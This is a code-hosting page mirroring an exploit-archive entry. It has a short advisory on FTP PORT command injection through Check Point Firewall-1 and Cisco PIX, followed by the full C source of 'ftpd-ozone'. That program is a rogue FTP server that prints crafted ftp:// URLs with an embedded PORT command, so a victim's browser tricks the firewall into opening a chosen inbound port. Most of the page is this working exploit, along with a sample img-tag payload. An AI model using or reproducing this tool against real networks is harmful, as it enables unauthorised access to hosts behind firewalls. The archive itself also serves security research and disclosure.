PageRenderTime 48ms CodeModel.GetById 19ms RepoModel.GetById 1ms app.codeStats 0ms

/exploits/multiple/remote/19800.c

https://bitbucket.org/DinoRex99/exploit-database
C | 315 lines | 245 code | 54 blank | 16 comment | 107 complexity | 6350a268e54b5442752328e83718069b MD5 | raw file
Possible License(s): GPL-2.0
  1. source: http://www.securityfocus.com/bid/1045/info
  2. A vulnerability exists in the handling of certain rules on many firewalls, that may allow users outside of the firewall to gain limited access to areas behind firewalls. Whereas previous descriptions of attacks of this style were server based, it is also possible to use client based programs to exploit these problems.
  3. By sending, for instance, an email which contains a tag such as the following: <img src="ftp://ftp.rooted.com/aaaa[lots of A]aaaPORT 1,2,3,4,0,139">
  4. By balancing the number of A's so the PORT command begins on a new boundry, the firewall will incorrectly parse the resulting RETR /aaaaaaaa[....]aaaaaPORT 1,2,3,4,0,139 as first a RETR and then PORT command, and open port 139 to the origin address. This would allow the server site to connect to port 139 on the client. Any port could be used in place of 139, unless the firewall blocks "known server ports."
  5. Versions of Firewall-1 4.1 and prior are believed vulnerable. Versions of Cisco PIX, up to and including current 5.0(1) are believed vulnerable.
  6. /*
  7. ftpd-ozone.c
  8. Demonstrate the FTP reverse firewall penetration technique
  9. outlined by Mikael Olsson, EnterNet Sweden AB.
  10. Tested against Netscape, Microsoft IE, Lynx, Wget. YMMV.
  11. Copyright (c) 2000 Dug Song <dugsong@monkey.org>
  12. */
  13. #include <sys/types.h>
  14. #include <sys/socket.h>
  15. #include <netinet/in.h>
  16. #include <arpa/inet.h>
  17. #include <arpa/telnet.h>
  18. #include <netdb.h>
  19. #include <stdio.h>
  20. #include <stdlib.h>
  21. #include <unistd.h>
  22. #include <string.h>
  23. #define WINDOW_LEN 42
  24. #define FTPD_PORT 21
  25. #define GREEN "\033[0m\033[01m\033[32m"
  26. #define OFF "\033[0m"
  27. #define int_ntoa(x) (inet_ntoa(*(struct in_addr *)&x))
  28. void
  29. usage(void)
  30. {
  31. fprintf(stderr, "Usage: ftpd-ozone [-w win] <ftp-client> <port-to-open>\n");
  32. exit(1);
  33. }
  34. /* Strip telnet options, as well as suboption data. */
  35. int
  36. strip_telopts(u_char *buf, int len)
  37. {
  38. int i, j, subopt = 0;
  39. char *p;
  40. for (i = j = 0; i < len; i++) {
  41. if (buf[i] == IAC) {
  42. if (++i >= len) break;
  43. else if (buf[i] > SB)
  44. i++;
  45. else if (buf[i] == SB) {
  46. p = buf + i + 1;
  47. subopt = 1;
  48. }
  49. else if (buf[i] == SE) {
  50. if (!subopt) j = 0;
  51. subopt = 0;
  52. }
  53. }
  54. else if (!subopt) {
  55. /* XXX - convert isolated carriage returns to newlines. */
  56. if (buf[i] == '\r' && i + 1 < len && buf[i + 1] != '\n')
  57. buf[j++] = '\n';
  58. /* XXX - strip binary nulls. */
  59. else if (buf[i] != '\0')
  60. buf[j++] = buf[i];
  61. }
  62. }
  63. buf[j] = '\0';
  64. return (j);
  65. }
  66. u_long
  67. resolve_host(char *host)
  68. {
  69. u_long addr;
  70. struct hostent *hp;
  71. if (host == NULL) return (0);
  72. if ((addr = inet_addr(host)) == -1) {
  73. if ((hp = gethostbyname(host)) == NULL)
  74. return (0);
  75. memcpy((char *)&addr, hp->h_addr, sizeof(addr));
  76. }
  77. return (addr);
  78. }
  79. #define UC(b) (((int)b)&0xff)
  80. int
  81. portnum2str(char *buf, int size, u_long ip, u_short port)
  82. {
  83. char *p, *q;
  84. port = htons(port);
  85. p = (char *)&ip;
  86. q = (char *)&port;
  87. return (snprintf(buf, size, "%d,%d,%d,%d,%d,%d",
  88. UC(p[0]), UC(p[1]), UC(p[2]), UC(p[3]),
  89. UC(q[0]), UC(q[1])));
  90. }
  91. int
  92. portstr2num(char *str, u_long *dst, u_short *dport)
  93. {
  94. int a0, a1, a2, a3, p0, p1;
  95. char *a, *p;
  96. if (str[0] == '(') str++;
  97. strtok(str, ")\r\n");
  98. if (sscanf(str, "%d,%d,%d,%d,%d,%d", &a0, &a1, &a2, &a3, &p0, &p1) != 6)
  99. return (-1);
  100. a = (char *)dst;
  101. a[0] = a0 & 0xff; a[1] = a1 & 0xff; a[2] = a2 & 0xff; a[3] = a3 & 0xff;
  102. p = (char *)dport;
  103. p[0] = p0 & 0xff; p[1] = p1 & 0xff;
  104. *dport = ntohs(*dport);
  105. return (0);
  106. }
  107. void
  108. print_urls(u_long dst, u_short dport, int win)
  109. {
  110. char *p, host[128], tmp[128];
  111. u_long ip;
  112. gethostname(host, sizeof(host));
  113. ip = resolve_host(host);
  114. strncpy(host, int_ntoa(ip), sizeof(host));
  115. /* XXX - "MDTM /\r\n" for Netscape, "CWD /\r\n" for MSIE. i suk. */
  116. win -= (4 + 2 + 2);
  117. p = malloc(win + 1);
  118. memset(p, 'a', win);
  119. p[win] = '\0';
  120. portnum2str(tmp, sizeof(tmp), dst, dport);
  121. printf("Netscape / Lynx URL to send client at %s:\n"
  122. "ftp://%s/%s%%0a%%0dPORT%%20%s\n",
  123. int_ntoa(dst), host, p, tmp);
  124. printf("MSIE / Wget URL to send client at %s:\n"
  125. "ftp://%s/a%s%%0a%%0dPORT%%20%s\n",
  126. int_ntoa(dst), host, p, tmp);
  127. free(p);
  128. }
  129. int
  130. init_ftpd(int port, int win)
  131. {
  132. int fd, i = 1;
  133. struct sockaddr_in sin;
  134. if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
  135. return (-1);
  136. if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(i)) == -1)
  137. return (-1);
  138. if (setsockopt(fd, SOL_SOCKET, SO_RCVBUF, &win, sizeof(win)) == -1)
  139. return (-1);
  140. memset(&sin, 0, sizeof(sin));
  141. sin.sin_family = AF_INET;
  142. sin.sin_addr.s_addr = htonl(INADDR_ANY);
  143. sin.sin_port = htons(port);
  144. if (bind(fd, (struct sockaddr *)&sin, sizeof(sin)) == -1)
  145. return (-1);
  146. if (listen(fd, 10) == -1)
  147. return (-1);
  148. return (fd);
  149. }
  150. void
  151. do_ftpd(int fd)
  152. {
  153. FILE *f;
  154. char buf[1024];
  155. int len, portcmd = 0;
  156. u_long ip;
  157. u_short port;
  158. if ((f = fdopen(fd, "r+")) == NULL)
  159. return;
  160. fprintf(f, "220 ftpd-ozone ready for love.\r\n");
  161. while (fgets(buf, sizeof(buf), f) != NULL) {
  162. if ((len = strip_telopts(buf, strlen(buf))) == 0)
  163. continue;
  164. if (strncasecmp(buf, "SYST", 4) == 0) {
  165. fprintf(f, "215 ftpd-ozone\r\n");
  166. }
  167. else if (strncasecmp(buf, "USER ", 5) == 0) {
  168. fprintf(f, "331 yo there\r\n");
  169. }
  170. else if (strncasecmp(buf, "PASS ", 5) == 0) {
  171. fprintf(f, "230 sucker\r\n");
  172. }
  173. else if (strncasecmp(buf, "PWD", 3) == 0) {
  174. fprintf(f, "257 \"/\" is current directory\r\n");
  175. }
  176. else if (strncasecmp(buf, "PASV", 4) == 0) {
  177. fprintf(f, "502 try PORT instead ;-)\r\n");
  178. /*fprintf(f, "425 try PORT instead ;-)\r\n");*/
  179. }
  180. else if (strncasecmp(buf, "PORT ", 5) == 0) {
  181. if (portstr2num(buf + 5, &ip, &port) != 0)
  182. fprintf(f, "500 you suk\r\n");
  183. else {
  184. fprintf(f, "200 ready for love\r\n");
  185. if (portcmd++ < 2) /* XXX */
  186. printf(GREEN "try connecting to %s %d" OFF "\n", int_ntoa(ip), port);
  187. }
  188. }
  189. else if (strncasecmp(buf, "CWD ", 4) == 0 ||
  190. strncasecmp(buf, "TYPE ", 5) == 0) {
  191. fprintf(f, "200 whatever\r\n");
  192. }
  193. else if (strncasecmp(buf, "NLST", 4) == 0) {
  194. fprintf(f, "550 you suk\r\n");
  195. }
  196. else if (strncasecmp(buf, "MDTM ", 5) == 0) {
  197. fprintf(f, "213 19960319165527\r\n");
  198. }
  199. else if (strncasecmp(buf, "RETR ", 5) == 0 ||
  200. strncasecmp(buf, "LIST", 4) == 0) {
  201. fprintf(f, "150 walking thru your firewall\r\n");
  202. }
  203. else if (strncasecmp(buf, "QUIT", 4) == 0) {
  204. fprintf(f, "221 l8r\r\n");
  205. break;
  206. }
  207. else fprintf(f, "502 i suk\r\n");
  208. }
  209. fclose(f);
  210. }
  211. int
  212. main(int argc, char *argv[])
  213. {
  214. int c, sfd, cfd;
  215. u_long dst;
  216. u_short dport, win = WINDOW_LEN;
  217. struct sockaddr_in sin;
  218. while ((c = getopt(argc, argv, "w:h?")) != -1) {
  219. switch (c) {
  220. case 'w':
  221. if ((win = atoi(optarg)) == 0)
  222. usage();
  223. break;
  224. default:
  225. usage();
  226. }
  227. }
  228. argc -= optind;
  229. argv += optind;
  230. if (argc != 2)
  231. usage();
  232. if ((dst = resolve_host(argv[0])) == 0)
  233. usage();
  234. if ((dport = atoi(argv[1])) == 0)
  235. usage();
  236. if ((sfd = init_ftpd(FTPD_PORT, win)) == -1) {
  237. perror("init_ftpd");
  238. exit(1);
  239. }
  240. print_urls(dst, dport, win);
  241. for (;;) {
  242. c = sizeof(sin);
  243. if ((cfd = accept(sfd, (struct sockaddr *)&sin, &c)) == -1) {
  244. perror("accept");
  245. exit(1);
  246. }
  247. printf("connection from %s\n", inet_ntoa(sin.sin_addr));
  248. if (fork() == 0) {
  249. close(sfd);
  250. do_ftpd(cfd);
  251. close(cfd);
  252. exit(0);
  253. }
  254. close(cfd);
  255. }
  256. exit(0);
  257. }
  258. /* w00w00! */